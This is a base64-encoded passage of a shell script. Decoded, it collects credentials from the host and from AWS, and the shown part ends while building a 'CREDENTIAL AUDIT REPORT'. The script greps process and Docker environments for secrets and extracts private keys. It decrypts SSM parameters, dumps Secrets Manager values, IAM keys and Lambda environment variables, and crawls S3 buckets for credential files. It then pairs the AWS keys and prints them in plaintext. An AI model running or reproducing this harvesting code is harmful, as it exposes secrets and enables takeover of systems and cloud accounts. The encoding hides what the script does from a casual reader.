9iPSIkUkQvLmJsb2IucGVtLiQocHJpbnRmICclcycgIiRfcGVtIiB8IGNrc3VtIHwgdHIgLWQgJyAnIHwgY3V0IC1jMS0xNikiCiAgc2VkIC1uICcvLS0tLS1CRUdJTiBbQS1aIF0qUFJJVkFURSBLRVktLS0tLS8sLy0tLS0tRU5EIFtBLVogXSpQUklWQVRFIEtFWS0tLS0tL3AnICIkX3BlbSIgMj4vZGV2L251bGwgXAogICAgfCBoZWFkIC1jIDY1NTM2ID4gIiRfYiIKICBbIC1zICIkX2IiIF0gfHwgeyBybSAtZiAiJF9iIjsgY29udGludWU7IH0KICBwcmludGYgJyVzXHQlc1x0JXNcbicgIiRfcGVtIiAicGVtOiRfcGVtIiAiJF9iIiA+PiAiJFJELy5jYXRfS0VZRklMRSIKZG9uZSA8IDwoCiAgZmluZCAkS0VZRElSUyAtbWF4ZGVwdGggNiAtdHlwZSBmIC1zaXplIC0xTSBcCiAgICAtZXhlYyBncmVwIC1JbG0xIC1lICctLS0tLUJFR0lOIFtBLVogXSpQUklWQVRFIEtFWS0tLS0tJyB7fSArIDI+L2Rldi9udWxsCikKCiMgLS0tLSBbM10gUHJvY2VzcyAmIGNvbnRhaW5lciBlbnYgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCm5vdGUgJ1szXSBwcm9jL2VudiAuLi4nCmZvciBlIGluIC9wcm9jL1swLTldKi9lbnZpcm9uOyBkbwogIFsgLXIgIiRlIiBdIHx8IGNvbnRpbnVlCiAgdHIgJ1wwJyAnXG4nIDwgIiRlIiAyPi9kZXYvbnVsbCB8IGdyZXAgLWFvRSAiJEFMTCIgfCB3aGlsZSBJRlM9IHJlYWQgLXIgbTsgZG8gZW1pdCBQUk9DLUVOViAiJG0iICIkZSI7IGRvbmUKZG9uZQppZiBjb21tYW5kIC12IGRvY2tlciA+L2Rldi9udWxsIDI+JjE7IHRoZW4KICBmb3IgYyBpbiAkKGRvY2tlciBwcyAtcSAyPi9kZXYvbnVsbCk7IGRvCiAgICBkb2NrZXIgaW5zcGVjdCAiJGMiIDI+L2Rldi9udWxsIHwgZ3JlcCAtYW9FICIkQUxMIiB8IHdoaWxlIElGUz0gcmVhZCAtciBtOyBkbyBlbWl0IERPQ0tFUi1FTlYgIiRtIiAiZG9ja2VyOiRjIjsgZG9uZQogIGRvbmUKZmkKCiMgLS0tLSBbNF0gU1NNIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpub3RlICdbNF0gU1NNIC4uLicKaWYgWyAtbiAiJEFLIiBdICYmIFsgLW4gIiRTSyIgXTsgdGhlbgogIGF3c19qc29uKCl7IGN1cmwgLXMgLW0gMjUgLS1hd3Mtc2lndjQgImF3czphbXo6JFJIOiQxIiAtLXVzZXIgIiRBSzokU0siIFwKICAgICAgLUggIngtYW16LXNlY3VyaXR5LXRva2VuOiAkU1QiIC1IICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtYW16LWpzb24tMS4xJyBcCiAgICAgIC1IICJYLUFtei1UYXJnZXQ6ICQyIiAtZCAiJDMiICJodHRwczovLyQxLiRSSC5hbWF6b25hd3MuY29tLyIgMj4vZGV2L251bGw7IH0KICAjIDRhIFNTTSBQYXJhbWV0ZXIgU3RvcmUKICBwbmFtZXM9IiQoYXdzX2pzb24gc3NtIEFtYXpvblNTTS5EZXNjcmliZVBhcmFtZXRlcnMgJ3siTWF4UmVzdWx0cyI6NTB9JyB8IGdyZXAgLW9FICciTmFtZSI6IlteIl0rIicgfCBzZWQgJ3MvIk5hbWUiOiIvLztzLyIvLycpIgogIGlmIFsgLW4gIiRwbmFtZXMiIF07IHRoZW4KICAgIG5hbWVzX2pzb249IiQocHJpbnRmICclc1xuJyAkcG5hbWVzIHwgc2VkICdzLy4qLyImIi8nIHwgcGFzdGUgLXNkLCAtKSIKICAgIGF3c19qc29uIHNzbSBBbWF6b25TU00uR2V0UGFyYW1ldGVycyAie1wiTmFtZXNcIjpbJG5hbWVzX2pzb25dLFwiV2l0aERlY3J5cHRpb25cIjp0cnVlfSIgXAogICAgICB8IGdyZXAgLW9FICciTmFtZSI6IlteIl0rIiwiVHlwZSI6IlteIl0qIiwiVmFsdWUiOiJbXiJdKiInIFwKICAgICAgfCBzZWQgJ3MvIk5hbWUiOiJcKFteIl0qXCkiLCJUeXBlIjoiW14iXSoiLCJWYWx1ZSI6IlwoW14iXSpcKSIvXDEgPSBcMi8nIFwKICAgICAgfCB3aGlsZSBJRlM9IHJlYWQgLXIgbDsgZG8gWyAtbiAiJGwiIF0gJiYgZW1pdCBTU00tUEFSQU0gIiRsIiAic3NtLXBhcmFtIjsgZG9uZQogIGZpCiAgIyA0YiBDbG91ZFdhdGNoIGxvZ3MgKFNTTS9TZXNzaW9uIHNlc3Npb24gbG9ncyBsYW5kIGhlcmUpCiAgZm9yIGxnIGluICQoYXdzX2pzb24gbG9ncyBMb2dzXzIwMTQwMzI4LkRlc2NyaWJlTG9nR3JvdXBzICd7ImxpbWl0Ijo1MH0nIHwgZ3JlcCAtb0UgJyJsb2dHcm91cE5hbWUiOiJbXiJdKyInIHwgc2VkICdzLyJsb2dHcm91cE5hbWUiOiIvLztzLyIvLycpOyBkbwogICAgY2FzZSAiJGxnIiBpbiAqL3NzbSp8Ki9zZXNzaW9uKnwqc3NtKnwqU2Vzc2lvbip8Ki9hd3MvKnwqY2xvdWR0cmFpbCp8KmxhbWJkYSopIDs7ICopIGNvbnRpbnVlIDs7IGVzYWMKICAgIGF3c19qc29uIGxvZ3MgTG9nc18yMDE0MDMyOC5GaWx0ZXJMb2dFdmVudHMgIntcImxvZ0dyb3VwTmFtZVwiOlwiJGxnXCIsXCJsaW1pdFwiOjIwMH0iIFwKICAgICAgfCBncmVwIC1hb0UgIiRBTEwiIHwgd2hpbGUgSUZTPSByZWFkIC1yIG07IGRvIGVtaXQgU1NNLUxPRyAiJG0iICJjd2xvZzokbGciOyBkb25lCiAgZG9uZQogICMgNGMgU2VjcmV0cyBNYW5hZ2VyCiAgZm9yIHMgaW4gJChhd3NfanNvbiBzZWNyZXRzbWFuYWdlciBzZWNyZXRzbWFuYWdlci5MaXN0U2VjcmV0cyAne30nIHwgZ3JlcCAtb0UgJyJBUk4iOiJbXiJdKyInIHwgc2VkICdzLyJBUk4iOiIvLztzLyIvLycpOyBkbwogICAgYXdzX2pzb24gc2VjcmV0c21hbmFnZXIgc2VjcmV0c21hbmFnZXIuR2V0U2VjcmV0VmFsdWUgIntcIlNlY3JldElkXCI6XCIkc1wifSIgXAogICAgICB8IGdyZXAgLWFvRSAnIlNlY3JldFN0cmluZyI6IlteIl0qIicgfCBzZWQgJ3MvIlNlY3JldFN0cmluZyI6Ii8vO3MvIiQvLycgXAogICAgICB8IHdoaWxlIElGUz0gcmVhZCAtciBsOyBkbyBbIC1uICIkbCIgXSAmJiBlbWl0IFNFQ1JFVFNNR1IgIiRsIiAic2VjcmV0c21hbmFnZXI6JHMiOyBkb25lCiAgZG9uZQogICMgNGQgSUFNIGxvbmctdGVybSBhY2Nlc3Mga2V5cwogIGN1cmwgLXMgLW0gMjAgLS1hd3Mtc2lndjQgImF3czphbXo6dXMtZWFzdC0xOmlhbSIgLS11c2VyICIkQUs6JFNLIiAtSCAieC1hbXotc2VjdXJpdHktdG9rZW46ICRTVCIgXAogICAgLWQgJ0FjdGlvbj1MaXN0QWNjZXNzS2V5cyZWZXJzaW9uPTIwMTAtMDUtMDgnIGh0dHBzOi8vaWFtLmFtYXpvbmF3cy5jb20vIDI+L2Rldi9udWxsIFwKICAgIHwgZ3JlcCAtb0UgJzxBY2Nlc3NLZXlJZD5bXjxdKzwvQWNjZXNzS2V5SWQ+JyB8IHNlZCAncy88W14+XSo+Ly9nJyBcCiAgICB8IHdoaWxlIElGUz0gcmVhZCAtciBrOyBkbyBbIC1uICIkayIgXSAmJiBlbWl0IElBTSAiJGsiICJpYW06TGlzdEFjY2Vzc0tleXMiOyBkb25lCiAgIyA0ZSBTVFMgaWRlbnRpdHkgKHVzZWZ1bCBjb250ZXh0KQogIGN1cmwgLXMgLW0gMTUgLS1hd3Mtc2lndjQgImF3czphbXo6JFJIOnN0cyIgLS11c2VyICIkQUs6JFNLIiAtSCAieC1hbXotc2VjdXJpdHktdG9rZW46ICRTVCIgXAogICAgLWQgJ0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUnICJodHRwczovL3N0cy4kUkguYW1hem9uYXdzLmNvbS8iIDI+L2Rldi9udWxsIFwKICAgIHwgZ3JlcCAtYW9FICc8QXJuPltePF0rPC9Bcm4+fDxBY2NvdW50PltePF0rPC9BY2NvdW50PicgfCBzZWQgJ3MvPFtePl0qPi8vZycgXAogICAgfCB3aGlsZSBJRlM9IHJlYWQgLXIgbDsgZG8gWyAtbiAiJGwiIF0gJiYgZW1pdCBPVEhFUiAiJGwiICJzdHM6R2V0Q2FsbGVySWRlbnRpdHkiOyBkb25lCiAgIyA0ZiBMYW1iZGEgZW52IHZhcnMKICBjdXJsIC1zIC1tIDIwIC0tYXdzLXNpZ3Y0ICJhd3M6YW16OiRSSDpsYW1iZGEiIC0tdXNlciAiJEFLOiRTSyIgLUggIngtYW16LXNlY3VyaXR5LXRva2VuOiAkU1QiIFwKICAgICJodHRwczovL2xhbWJkYS4kUkguYW1hem9uYXdzLmNvbS8yMDE1LTAzLTMxL2Z1bmN0aW9ucy8iIDI+L2Rldi9udWxsIFwKICAgIHwgZ3JlcCAtYW9FICIkQUxMIiB8IHdoaWxlIElGUz0gcmVhZCAtciBtOyBkbyBlbWl0IExBTUJEQS1FTlYgIiRtIiAibGFtYmRhOiRSSCI7IGRvbmUKZmkKCiMgLS0tLSBbNV0gUzMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpub3RlICdbNV0gUzMgLi4uJwppZiBbIC1uICIkQUsiIF0gJiYgWyAtbiAiJFNLIiBdOyB0aGVuCiAgYmt0X3JlZ2lvbigpeyBjdXJsIC1zIC1tIDEwIC1vIC9kZXYvbnVsbCAtRCAtIC0tYXdzLXNpZ3Y0ICJhd3M6YW16OnVzLWVhc3QtMTpzMyIgLS11c2VyICIkQUs6JFNLIiAtSCAieC1hbXotc2VjdXJpdHktdG9rZW46ICRTVCIgImh0dHBzOi8vJDEuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vIiAyPi9kZXYvbnVsbCB8IHNlZCAtbiAncy8uKltYeF0tW0FhXW16LVtCYl11Y2tldC1bUnJdZWdpb246W1s6c3BhY2U6XV0qXChbYS16MC05LV0qXCkuKi9cMS9wJyB8IGhlYWQgLTE7IH0KICBsZygpeyBjdXJsIC1zIC1tIDIwIC0tYXdzLXNpZ3Y0ICJhd3M6YW16OiQyOnMzIiAtLXVzZXIgIiRBSzokU0siIC1IICJ4LWFtei1zZWN1cml0eS10b2tlbjogJFNUIiAiJDEiIDI+L2Rldi9udWxsOyB9CiAgYnVja2V0cz0iJChsZyAnaHR0cHM6Ly9zMy51cy1lYXN0LTEuYW1hem9uYXdzLmNvbS8nIHVzLWVhc3QtMSB8IGdyZXAgLW9FICc8TmFtZT5bXjxdKzwvTmFtZT4nIHwgc2VkICdzLzxbXj5dKj4vL2cnKSIKICBbIC16ICIkYnVja2V0cyIgXSAmJiBidWNrZXRzPSIkKGxnICJodHRwczovL3MzLiRSSC5hbWF6b25hd3MuY29tLyIgIiRSSCIgfCBncmVwIC1vRSAnPE5hbWU+W148XSs8L05hbWU+JyB8IHNlZCAncy88W14+XSo+Ly9nJykiCiAgZm9yIGIgaW4gJGJ1Y2tldHM7IGRvCiAgICByZWc9IiQoYmt0X3JlZ2lvbiAiJGIiKSI7IFsgLW4gIiRyZWciIF0gfHwgcmVnPSIkUkgiCiAgICB0b2s9IiIKICAgIHdoaWxlIDogOyBkbwogICAgICB1PSJodHRwczovLyRiLnMzLiRyZWcuYW1hem9uYXdzLmNvbS8/bGlzdC10eXBlPTImbWF4LWtleXM9MTAwMCI7IFsgLW4gIiR0b2siIF0gJiYgdT0iJHUmY29udGludWF0aW9uLXRva2VuPSR0b2siCiAgICAgIGxnICIkdSIgIiRyZWciID4gIiRSRC8ub2JqLnhtbCIKICAgICAgZm9yIGsgaW4gJChncmVwIC1vRSAnPEtleT5bXjxdKzwvS2V5PicgIiRSRC8ub2JqLnhtbCIgMj4vZGV2L251bGwgfCBzZWQgJ3MvPFtePl0qPi8vZycpOyBkbwogICAgICAgIGNhc2UgIiRrIiBpbgogICAgICAgICAgKi5lbnZ8Ki5lbnYuKnwqLnR4dHwqLmpzb258Ki55bWx8Ki55YW1sfCouY29uZnwqLmluaXwqLnByb3BlcnRpZXN8Ki5wZW18Ki5rZXl8Ki5zcWx8Ki5jc3Z8Ki54bWx8Ki5zaHwqLnB5fCoucGx8Ki5wbXwqLmNmZ3wqLnRvbWx8KmNyZWRlbnRpYWwqfCpwYXNzd29yZCp8KnNlY3JldCp8KnRva2VuKnwqYXdzKnwqaWRfcnNhKnwqamVua2lucyopCiAgICAgICAgICAgIGxnICJodHRwczovLyRiLnMzLiRyZWcuYW1hem9uYXdzLmNvbS8kayIgIiRyZWciIHwgZ3JlcCAtYW9FICIkQUxMIiB8IHdoaWxlIElGUz0gcmVhZCAtciBtOyBkbyBlbWl0IFMzICIkbSIgInMzOiRiLyRrIjsgZG9uZSA7OwogICAgICAgIGVzYWMKICAgICAgZG9uZQogICAgICB0b2s9IiQoc2VkIC1uICdzLy4qPE5leHRDb250aW51YXRpb25Ub2tlbj5cKFtePF0qXCk8XC9OZXh0Q29udGludWF0aW9uVG9rZW4+LiovXDEvcCcgIiRSRC8ub2JqLnhtbCIgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIKICAgICAgWyAteiAiJHRvayIgXSAmJiBicmVhawogICAgZG9uZQogIGRvbmUKICBybSAtZiAiJFJELy5vYmoueG1sIgpmaQoKIyAtLS0tIFs2XSBjb3JyZWxhdGUgQVdTIGNyZWRlbnRpYWwgbWF0ZXJpYWwgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgR3JvdXAgb25seSB3aGF0IGdlbnVpbmVseSBiZWxvbmdzIHRvZ2V0aGVyLCBuZXZlciBndWVzc2luZzoKIyAgICogc291cmNlIGhvbGRzIEVYQUNUTFkgb25lIGlkICsgb25lIEFXUy1mbGF2b3VyZWQgc2VjcmV0IC0+IEFXUy1LRVlQQUlSCiMgICAgIChhIFNlc3Npb25Ub2tlbiBmcm9tIHRoYXQgc2FtZSBzb3VyY2UgaXMgZm9sZGVkIGluIHdoZW4gcHJlc2VudCkKIyAgICogZXZlcnkgb3RoZXIgU2VjcmV0QWNjZXNzS2V5IC0+IEFXUy1TRUNSRVQsIGFzIGEgc3RhbmRhbG9uZSBmaW5kaW5nCiMgICAqIGV2ZXJ5IG90aGVyIFNlc3Npb25Ub2tlbiAgICAtPiBBV1MtVE9LRU4sICBhcyBhIHN0YW5kYWxvbmUgZmluZGluZwojIFNvdXJjZXMgd2l0aCBzZXZlcmFsIGlkcy9zZWNyZXRzIChjb21tb24gaW4gcmVwbyBzY2FucykgYXJlIGxlZnQgdW5wYWlyZWQgb24KIyBwdXJwb3NlLCBzbyBhIHJlcG9ydCBuZXZlciBzaG93cyBhIGtleStzZWNyZXQgdGhhdCB3ZXJlIG1lcmVseSBjby1sb2NhdGVkLgo6ID4gIiRSRC8uY2F0X0FXUy1LRVlQQUlSIjsgOiA+ICIkUkQvLmNhdF9BV1MtU0VDUkVUIjsgOiA+ICIkUkQvLmNhdF9BV1MtVE9LRU4iCjogPiAiJFJELy5wYWlyZHJvcCIKZm9yIGMgaW4gJENBVFM7IGRvIGNhdCAiJFJELy5jYXRfJGMiIDI+L2Rldi9udWxsOyBkb25lID4gIiRSRC8uYWxscmVjIgphd2sgLUYnXHQnIC12IGFraWRwYXQ9IiRBV1NfSUQiIC12IHNlY3BhdD0iJEFXU19TRUNSRVRLViIgLXYgZ2Vuc2VjcGF0PSIkQVdTX1NFQ1JFVEdFTiIgXAogICAgLXYgdG9rcGF0PSIkQVdTX1RPS0tWIiAtdiBwYWlyZj0iJFJELy5jYXRfQVdTLUtFWVBBSVIiIC12IHNlY2Y9IiRSRC8uY2F0X0FXUy1TRUNSRVQiIFwKICAgIC12IHRva2Y9IiRSRC8uY2F0X0FXUy1UT0tFTiIgLXYgZHJvcGY9IiRSRC8ucGFpcmRyb3AiICcKICAjIHZhbHVlIGFmdGVyIHRoZSBGSVJTVCA9IG9yIDosIG1pbnVzIHN1cnJvdW5kaW5nIHNwYWNlL3F1b3Rlcy4gVXNpbmcgdGhlIGZpcnN0CiAgIyBzZXBhcmF0b3IgKG5vdCBhIGdyZWVkeSAuKikgaXMgd2hhdCBrZWVwcyBiYXNlNjQgcGFkZGluZyAoIi4uLj09IikgaW50YWN0LgogIGZ1bmN0aW9uIHZhbG9mKHMpIHsgc3ViKC9eW149Ol0qWz06XVtbOnNwYWNlOl1dKiI/LywgIiIsIHMpOyBzdWIoLyJbWzpzcGFjZTpdXSokLywgIiIsIHMpOyByZXR1cm4gcyB9CiAgZnVuY3Rpb24gY2xhaW0oc3JjLCB2KSB7IGlmICh2PT0iIikgcmV0dXJuOyBuY1tzcmNdKys7IGNsW3NyYyxuY1tzcmNdXT12IH0KICBmdW5jdGlvbiBzZWVuKHNyYywgdiwgICBxKSB7IGZvciAocT0xOyBxPD1uY1tzcmNdOyBxKyspIGlmIChjbFtzcmMscV09PXYpIHJldHVybiAxOyByZXR1cm4gMCB9CiAgTkY+PTIgewogICAgbisrOyB2W25dPSQxOyBzW25dPSQyCiAgICBpZiAobWF0Y2goJDEsIGFraWRwYXQpKSB7IG5ha1skMl0rKzsgYWt2YWxbJDIsbmFrWyQyXV09c3Vic3RyKCQxLFJTVEFSVCxSTEVOR1RIKSB9CiAgICBpZiAobWF0Y2goJDEsIHNlY3BhdCkpICAgIHsgbnNhWyQyXSsrOyBzYXZhbFskMixuc2FbJDJdXT12YWxvZihzdWJzdHIoJDEsUlNUQVJULFJMRU5HVEgpKSB9CiAgICBpZiAobWF0Y2goJDEsIGdlbnNlY3BhdCkpIHsgbnNnWyQyXSsrOyBzZ3ZhbFskMixuc2dbJDJdXT12YWxvZihzdWJzdHIoJDEsUlNUQVJULFJMRU5HVEgpKSB9CiAgICBpZiAodG9rcGF0IT0iIiAmJiBtYXRjaCgkMSwgdG9rcGF0KSkgeyBudG9bJDJdKys7IHRvdmFsWyQyLG50b1skMl1dPXZhbG9mKHN1YnN0cigkMSxSU1RBUlQsUkxFTkdUSCkpIH0KICB9CiAgRU5EIHsKICAgICMgMSkgcGFpciBvbmx5IHdoZW4gdGhlcmUgaXMgZXhhY3RseSBvbmUgaWQgYW5kIG9uZSBBV1MtZmxhdm91cmVkIHNlY3JldCwgc28gYQogICAgIyAgICBiYXJlICJTRUNSRVRfS0VZPS4uLiIgY2FuIG5ldmVyIGJlIHdlbGRlZCBvbnRvIGFuIHVucmVsYXRlZCBBY2Nlc3NLZXlJZAogICAgZm9yIChzcmMgaW4gbmFrKSB7CiAgICAgIGlmIChuYWtbc3JjXSE9MSB8fCAhKHNyYyBpbiBuc2EpIHx8IG5zYVtzcmNdIT0xKSBjb250aW51ZQogICAgICBsaW5lID0gImFjY2Vzc19rZXlfaWQ9IiBha3ZhbFtzcmMsMV0gIiB8IHNlY3JldF9hY2Nlc3Nfa2V5PSIgc2F2YWxbc3JjLDFdCiAgICAgIGNsYWltKHNyYywgYWt2YWxbc3JjLDFdKTsgY2xhaW0oc3JjLCBzYXZhbFtzcmMsMV0pCiAgICAgIGlmICgoc3JjIGluIG50bykgJiYgbnRvW3NyY10+PTEpIHsgbGluZSA9IGxpbmUgIiB8IHNlc3Npb25fdG9rZW49IiB0b3ZhbFtzcmMsMV07IGNsYWltKHNyYywgdG92YWxbc3JjLDFdKSB9CiAgICAgIHByaW50IGxpbmUgIlx0IiBzcmMgPj4gcGFpcmYKICAgIH0KICAgICMgMikgcmVtYWluaW5nIEFXUy1mbGF2b3VyZWQgc2VjcmV0cyAtPiBzdGFuZGFsb25lIEFXUy1TRUNSRVQKICAgIGZvciAoc3JjIGluIG5zYSkKICAgICAgZm9yIChwPTE7IHA8PW5zYVtzcmNdOyBwKyspCiAgICAgICAgaWYgKCFzZWVuKHNyYywgc2F2YWxbc3JjLHBdKSkgeyBwcmludCAic2VjcmV0X2FjY2Vzc19rZXk9IiBzYXZhbFtzcmMscF0gIlx0IiBzcmMgPj4gc2VjZjsgY2xhaW0oc3JjLCBzYXZhbFtzcmMscF0pIH0KICAgICMgMykgZ2VuZXJpYyBzZWNyZXRzIC0+IHN0YW5kYWxvbmUgQVdTLVNFQ1JFVCBvbmx5LCBuZXZlciBwYWlyZWQKICAgIGZvciAoc3JjIGluIG5zZykKICAgICAgZm9yIChwPTE7IHA8PW5zZ1tzcmNdOyBwKyspCiAgICAgICAgaWYgKCFzZWVuKHNyYywgc2d2YWxbc3JjLHBdKSkgeyBwcmludCAic2VjcmV0X2FjY2Vzc19rZXk9IiBzZ3ZhbFtzcmMscF0gIlx0IiBzcmMgPj4gc2VjZjsgY2xhaW0oc3JjLCBzZ3ZhbFtzcmMscF0pIH0KICAgICMgNCkgcmVtYWluaW5nIHNlc3Npb24gdG9rZW5zIC0+IHN0YW5kYWxvbmUgQVdTLVRPS0VOCiAgICBmb3IgKHNyYyBpbiBudG8pCiAgICAgIGZvciAocD0xOyBwPD1udG9bc3JjXTsgcCsrKQogICAgICAgIGlmICghc2VlbihzcmMsIHRvdmFsW3NyYyxwXSkpIHsgcHJpbnQgInNlc3Npb25fdG9rZW49IiB0b3ZhbFtzcmMscF0gIlx0IiBzcmMgPj4gdG9rZjsgY2xhaW0oc3JjLCB0b3ZhbFtzcmMscF0pIH0KICAgICMgNSkgZHJvcCBldmVyeSByYXcgcmVjb3JkIGNhcnJ5aW5nIGEgY2xhaW1lZCB2YWx1ZTsgdGhpcyBhbHNvIHJlbW92ZXMgdGhlCiAgICAjICAgIGR1cGxpY2F0ZSAidG9rZW49Li4uIiAvICJzZWNyZXQ9Li4uIiBjb3BpZXMgZW1pdHRlZCBieSB0aGUgZ2VuZXJpYyBwYXNzCiAgICBmb3IgKGk9MTsgaTw9bjsgaSsrKQogICAgICBmb3IgKHE9MTsgcTw9bmNbc1tpXV07IHErKykKICAgICAgICBpZiAoY2xbc1tpXSxxXSE9IiIgJiYgaW5kZXgodltpXSwgY2xbc1tpXSxxXSk+MCkgeyBwcmludCB2W2ldICJcdCIgc1tpXSA+PiBkcm9wZjsgYnJlYWsgfQogIH0nICIkUkQvLmFsbHJlYyIKIyBzdHJpcCB0aGUgcmF3IHJlY29yZHMgbm93IHJlcHJlc2VudGVkIGJ5IGEgcGFpciAvIHN0YW5kYWxvbmUgZmluZGluZwppZiBbIC1zICIkUkQvLnBhaXJkcm9wIiBdOyB0aGVuCiAgZm9yIGMgaW4gJENBVFM7IGRvCiAgICBjYXNlICIkYyIgaW4gQVdTLUtFWVBBSVJ8QVdTLVNFQ1JFVHxBV1MtVE9LRU58S0VZRklMRSkgY29udGludWUgOzsgZXNhYwogICAgWyAtcyAiJFJELy5jYXRfJGMiIF0gfHwgY29udGludWUKICAgIGdyZXAgLXYgLUYgLXggLWYgIiRSRC8ucGFpcmRyb3AiICIkUkQvLmNhdF8kYyIgPiAiJFJELy5jYXRfJGMubmV3IiAyPi9kZXYvbnVsbAogICAgcmM9JD8KICAgIGlmIFsgIiRyYyIgLWxlIDEgXTsgdGhlbiBtdiAiJFJELy5jYXRfJGMubmV3IiAiJFJELy5jYXRfJGMiOyBlbHNlIHJtIC1mICIkUkQvLmNhdF8kYy5uZXciOyBmaQogIGRvbmUKZmkKcm0gLWYgIiRSRC8uYWxscmVjIiAiJFJELy5wYWlyZHJvcCIKCiMgLS0tLSBbN10gcmVwb3J0IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExheW91dCBub3RlOiBvbmUgYmFubmVyICsgc3VtbWFyeSBpbmRleCArIG9uZSBibG9jayBwZXIgbm9uLWVtcHR5IGNhdGVnb3J5LgojIEZpbmRpbmdzIGFyZSBncm91cGVkIGJ5IHZhbHVlIHNvIGEgc2VjcmV0IHNlZW4gaW4gc2V2ZXJhbCBwbGFjZXMgbGlzdHMgZXZlcnkKIyBzb3VyY2UgdW5kZXIgaXQgaW5zdGVhZCBvZiByZXBlYXRpbmcgdGhlIHZhbHVlLgpyZXBvcnRfdGltZT0iJChkYXRlIC11ICcrJVktJW0tJWQgJUg6JU06JVMgVVRDJyAyPi9kZXYvbnVsbCB8fCBlY2hvIHVua25vd24pIgpyZXBvcnRfaG9zdD0iJChob3N0bmFtZSAyPi9kZXYvbnVsbCB8fCBlY2hvIHVua25vd24pIgoKIyBjb3VudF9maW5kaW5nczogbnVtYmVyIG9mIFVOSVFVRSB2YWx1ZXMgaW4gYSBjYXRlZ29yeSAobm90IHZhbHVlL3NvdXJjZSBwYWlycykKY291bnRfZmluZGluZ3MoKXsKICBzb3J0IC11ICIkUkQvLmNhdF8kMSIgMj4vZGV2L251bGwgXAogICAgfCBhd2sgLUYnXHQnICdORiAmJiAkMSE9IiIgeyB2WyQxXT0xIH0gRU5EIHsgbj0wOyBmb3IgKGsgaW4gdikgbisrOyBwcmludCBuIH0nCn0KCnJlcG9ydF90b3RhbD0wCnJlcG9ydF9jYXRzPTAKZm9yIGMgaW4gJENBVFM7IGRvCiAgbj0iJChjb3VudF9maW5kaW5ncyAiJGMiKSIKICBbICIkbiIgLWd0IDAgXSAyPi9kZXYvbnVsbCB8fCBjb250aW51ZQogIHJlcG9ydF90b3RhbD0kKChyZXBvcnRfdG90YWwgKyBuKSkKICByZXBvcnRfY2F0cz0kKChyZXBvcnRfY2F0cyArIDEpKQpkb25lCmF3c19wYWlycz0iJChjb3VudF9maW5kaW5ncyBBV1MtS0VZUEFJUikiCmF3c19zZWNyZXRzPSIkKGNvdW50X2ZpbmRpbmdzIEFXUy1TRUNSRVQpIgphd3NfdG9rZW5zPSIkKGNvdW50X2ZpbmRpbmdzIEFXUy1UT0tFTikiCm5vaXNlX249IiQod2MgLWwgPCAiJE5PSVNFIiAyPi9kZXYvbnVsbCB8fCBlY2hvIDApIgoKewogIGVjaG8gJyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMnCiAgZWNobyAnIyAgQ1JFREVOVElBTCBBVURJVCBSRVBPUlQnCiAgcHJpbnRmICcjICBob3N0ICA6ICVzXG4nICIkcmVwb3J0X2hvc3QiCiAgcHJpbnRmICcjICB0aW1lICA6ICVzXG4nICIkcmVwb3J0X3RpbWUiCiAgcHJpbnRmICcjICByZXN1bHQ6ICVkIHVuaXF1ZSBmaW5kaW5nKHMpIGFjcm9zcyAlZCBjYXRlZ29yeShpZXMpXG4nICIkcmVwb3J0X3RvdGFsIiAiJHJlcG9ydF9jYXRzIgogIHByaW50ZiAnIyAgYXdzICAgOiAlZCBrZXkgcGFpcihzKSAvICVkIHNlY3JldChzKSAvICVkIHRva2VuKHMpXG4nICIkYXdzX3BhaXJzIiAiJGF3c19zZWNyZXRzIiAiJGF3c190b2tlbnMiCiAgcHJpbnRmICcjICBub2lzZSA6ICVkIHBsYWNlaG9sZGVyL2RvYyB2YWx1ZShzKSBpZ25vcmVkXG4nICIkbm9pc2VfbiIKICBlY2hvICcjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjJwoKICBpZiBbICIkcmVwb3J0X3RvdGFsIiAtZ3QgMCBdOyB0aGVuCiAgICBlY2hvCiAgICBlY2hvICdTVU1NQVJZJwogICAgcHJpbnRmICcgICUtM3MgJS0xNnMgJThzXG4nICcjJyAnQ0FURUdPUlknICdGSU5ESU5HUycKICAgIHByaW50ZiAnICAlLTNzICUtMTZzICU4c1xuJyAnLScgJy0tLS0tLS0tLS0tLS0tLS0nICctLS0tLS0tLScKICAgIGk9MAogICAgZm9yIGMgaW4gJENBVFM7IGRvCiAgICAgIG49IiQoY291bnRfZmluZGluZ3MgIiRjIikiCiAgICAgIFsgIiRuIiAtZ3QgMCBdIDI+L2Rldi9udWxsIHx8IGNvbnRpbnVlCiAgICAgIGk9JCgoaSArIDEpKQogICAgICBwcmludGYgJyAgJS0zZCAlLTE2cyAlOGRcbicgIiRpIiAiJGMiICIkbiIKICAgIGRvbmUKCiAgICBpPTAKICAgIGZvciBjIGluICRDQVRTOyBkbwogICAgICBuPSIkKGNvdW50X2ZpbmRpbmdzICIkYyIpIgogICAgICBbICIkbiIgLWd0IDAgXSAyPi9kZXYvbnVsbCB8fCBjb250aW51ZQogICAgICBpPSQoKGkgKyAxKSkKICAgICAgZWNobwogICAgICBlY2hvICcjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjJwogICAgICBwcmludGYgJyMgIFslZF0gJXMgICglZCB1bmlxdWUgZmluZGluZyhzKSlcbicgIiRpIiAiJGMiICIkbiIKICAgICAgZWNobyAnIyMjIyMjIyMjIyMjIyMj